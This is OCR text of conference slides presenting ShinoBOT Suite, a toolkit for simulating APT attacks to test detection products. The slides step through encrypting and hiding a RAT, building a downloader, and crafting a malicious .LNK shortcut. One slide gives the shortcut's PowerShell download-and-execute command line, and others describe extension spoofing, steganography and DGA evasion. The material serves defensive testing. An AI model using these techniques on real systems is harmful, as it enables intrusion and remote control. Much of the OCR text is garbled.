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AeouTr ME

= Shota Shinogi @Shin0y1
]

= Security Researcher at Macnica Networks Gorp.

< Japanese Disty of security/network products

= Presented ShinoBOT (not Suite) last year at
Arsenal



http://shinosec.com/

SHinoBOT THE RAT

ShinoBOT is a RAT (simulator)
u Presented at Black Hat USA 2013 Arsenal

® [t connects to ShinoG2, the G&C Server using
HTTP(S).

= What you can do with ShinoBOT via ShinoG2

¢ Execute a command
<% Upload / Download afile
¢ Take a screen shot

m Itis a SIMULATOR
¢ithasaGul

< you need the password which is showed on the GUI to
control it




WHAT iS SHinDBOT SUITE

ShinoBOT Suite is a tool Kit to create an APT attack
with just a few clicks, to simulate a highly-
sophisticated attack campaign.

= What is contained
¢ Exploit (Shortcut contains a malicious script]
¢ Malware Delivery Server (ShinoMAL.mooo.com)
¢ Downloader/Dropper (ShinoDownloader.exe)
¢ RAT (ShinoB0T.exe)
¢ C&C Server (ShinoG2]

¢ Steganography, crypto, DGA and some evasion
techniques




Uiy SHinoBOT SuiTE 2
= There is a bunch of new security tools to

detect/response the unknown threat
4 Sandbox based Malware Detection System
4 ETDR (Endpoint Threat Detect & Response)
4 SIEM (Security Information & Event Manager)
4 Security Analytics / Network Forensics

% Known malware will be detected by signature
+ # Unknown Threat

4 To simulate a realistic APT
+ requires a high skill
+ takes too much time
+ spends a lot of money using some commercial tools




SHinoBOT SuiTE CAMPRAIGN
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DEMONSTRAT:0N STEP)

ShinoBOT Suite
STEF1 ENCRYPT THE RAT

RAT

© shinoBOT (Recommended) @ custor | N |

You can use your BRAT [Poizonkey, DarkCaomet, etc) instead of ShinaBOT.

ENCGRYPTION KEY

Key | Hex)
Max: 206 Bytes
Current: 223

ENCRYPT

Done! C¥lzers¥ 11229 Desktop¥shinoBOTaute bin¥zub¥WORKEEMNCEAT PG

NEAXT STEP >




DEMONSTRAT:ON STEP2

ShinoBOT Suite

Step2 UPLOAD THE RAT

Local Path of the RAT

C¥lzers¥ 11229 Desktop¥shinoBOToute_bin¥sub¥WORKEENCRAT JPG

Upload Server

Q@ ShinoMAL (Fecommended) @ Upload Marwally {hput the URL to download vour encrypted RAT)

UPLOAD

URL of Encrypted RAT




DEMONSTRAT:ON STEP3

- ShinoBOT Suite

Step3 CREATE DOWNLOADER
Local Path of the RAT
Ci¥Uzers¥11229%Dezk top¥Shino BOTSuite_bin¥sub¥WORK¥ENCGRAT PG

URL of Encrypted RAT

http:/#zhinomal mooo com/Tiles 13 8df 3efidbabdhde 53049083 ime jpe

DecoyFile File Size:hA02 Bytes  Max: BO000BytesiBOKIE)

Ci¥lzers¥11229% Desk top¥Shino BOTouite_bin¥sub¥DECOYENS A _Certificate_Extension_RFGT 169 fxt l_

] i
File Mame -

Download File Mame EoaeigiRISTE RAT File Name [CIEBTEEE G

CREATE DOWNLOADER
Path of Downloader

C¥Uzers¥11229% Desk top¥Shino BOTSuite_bin¥sub¥WORKEShino Dovwnloader exe




DEMONSTRAT:ON STEPH

ShinoBOT Suite
Stepd4 UPLOAD THE DOWNLOADER

Local Path of the Downloader

C¥Uzerz¥ 11229% Desk top¥shino BO Tauite_bin#sub¥ WO RE¥Shino Downloader exe

Upload Server
Q@ ShinoMAL (Fecommended) @ Upload Manually {Input the URL to download vour encrypted RAT)

File Mame thttp:/Sonoooosaaaod files % lename®)

UPLOAD

URL of Downloader
bttp:/#129-199-192-16- 1-ak arnaiedee mooo comAiles/dd934 1cc 8337880 B30DAY38A dhwdr|

If wou can download vour Downloader, it means that it iz OK. If not, pleaze retry.

Download Test MEXT STEP >




DEMONSTRAT:ON STEP3

ShinoBOT Suite

StepS CREATE THE EXPLOIT (.LNK)

URL of the Downloader

0o aI00
[

Caaalan |:I I_:_E E: [l F'| I;I E: E: F'|_|j I'.“.' I:I F

Shortcut Parameter

File Hame

Mah Certificate_Extension RFCGT 164

Icon Index

KovztemPoot¥svetemd 2 imageres dll

CREATE

Shortcut Path

Ci¥llzers¥11229%¥Desktop¥Ms A _Certificate_Extension_RFGT 169 txt Ink

Mow, yvou get your weapon! Enjoy with it.




DEMONSTRAT:ON RUN
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DEMONSTRATION CONTROL1 |

= To control ShinoBOT (RAT), you need to grab
the password, it is to prevent the abuse of
ShinoBOT.

= ShinoBOT saved its password to the same
folder (C:¥Users¥USERNAME’:¥sh.nas)

= You can access to the password word file

remotely.
¥¥%MACHINENAMES¥CS¥USers¥ . USERNAME%¥sh.nas




DEMONSTRATION CONTROLE
= To control ShinoBOT (RAT), you need to grab

the password, it is to prevent the abuse of
ShinoBOT.

= ShinoBOT saved its password in this text file.
[C:¥Users¥ % USERNAME -¥sh.nas)

= You can access to the password word file

remotely.
¥¥%MACHINENAMES¥CS¥USers¥ . USERNAME%¥sh.nas

= This password protection Is to prevent the real guys to abuse
ShinoBOT.




DEMONSTATiON CONTROL3

Access to ShinoB0T.com
Go to the host list
Your host will appear in the host list

ID |Host Mame User. Name Local IP Addr|Global IP Addr Timezone Version| LastSync (UTC) Operation
Domain Name

PN N

Glick the [View/Assign Johs] link




DEMONSTATiON CONTROLY |

Put the password to see the Loot (resuit] of the
command

JOB HISTORY |

1D Command | Status Loot Runtime

Fault)|arp —a Accepted | 3 o requirer

net user Accepted |pa o required
Accepted =g Lire
Accepted ord requirec

Done




TECHNICAL DETAIL 1
Malicious Shortcut

“target” of the shortcut (all in1line)

cmd.exe /c
powershell

(new objectSystem.Net.WebClient)

.DownloadFile('(DOWNLOADERURL', '%TEMP%¥LicenseRnd.txt");

&

% TEMP%Y¥LicenseRnd.txt
&

::DECOYFILENAME

POWERSHELL downloads the downloader, and save it

CMD executes the downloader(Rnd means random string)




TECHNCAL DETRHIL 2
m Extension Spoofing

= On the target of shortcut, there is the line
"%TEMP%¥LicenseRnd.ixt" (previous slide}

= Usually, when you double click the file with .uxt,
the notepad will launch

= GMD.exe can execute the executables(contains
the MZ header) with any extension

= ShinoBOT Suite uses this technigues to spoof
the extension, and make the donwloader hard
to be found from the disk sctually it s the

ShinoDownloader.exe

LicensediG2.
txt

19



TECHNICAL DETAIL 3

u Grypto Stuff

= ShinoBOT Suite uses XOR and ROR (4 hit rotate])

m Keyis used just for the XOR, and ROR is always 4
hits

= ShinoBOT Suite generates a random key (200 ~

293 hyte] so it is little bit difficult to decrypt the
whole file without having the key




TECHNIiCAL DETRIL Y
Steganography

The encrypted RAT is hidden In the kitten Image.
IBinary Visualizer]

Encrypted RAT




TECHNIiCAL DETRIL 5
= Domain Generation Algorithm

= ShinoBOT (the RAT] uses pseuto-DGA.

® [t generates a random host name for the G2
Server.

¢ rrrrrshinohot.com

“r"is replaced by a random character.

= The DNS of shinobot.com responds any host
with the G2 server IP address.




ALL COMPONENTS RRE
CUSTOMiZABLE. MODULABLE

(H:1H
N H ¢ [H

KB1234567.exe

1) Download 8) C2 Communication

Downloader
Dropper 7) Execute

53 [

Phishing Email KB1234567.exe 4) Open

Invitation.pdf

Decoy File

~Invitation~
.

Invitation.pdf
(legitimate)




THANR 40U

Visit my site and get the
recipe of ShinoBOT SUITE.

How to make a yummyAPT
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Pren Time: 5 min
1 ShinoBOT Suite
ShinoEncryptor.exe
$ShinoBOT.exe
1

hitp://shinosec.com



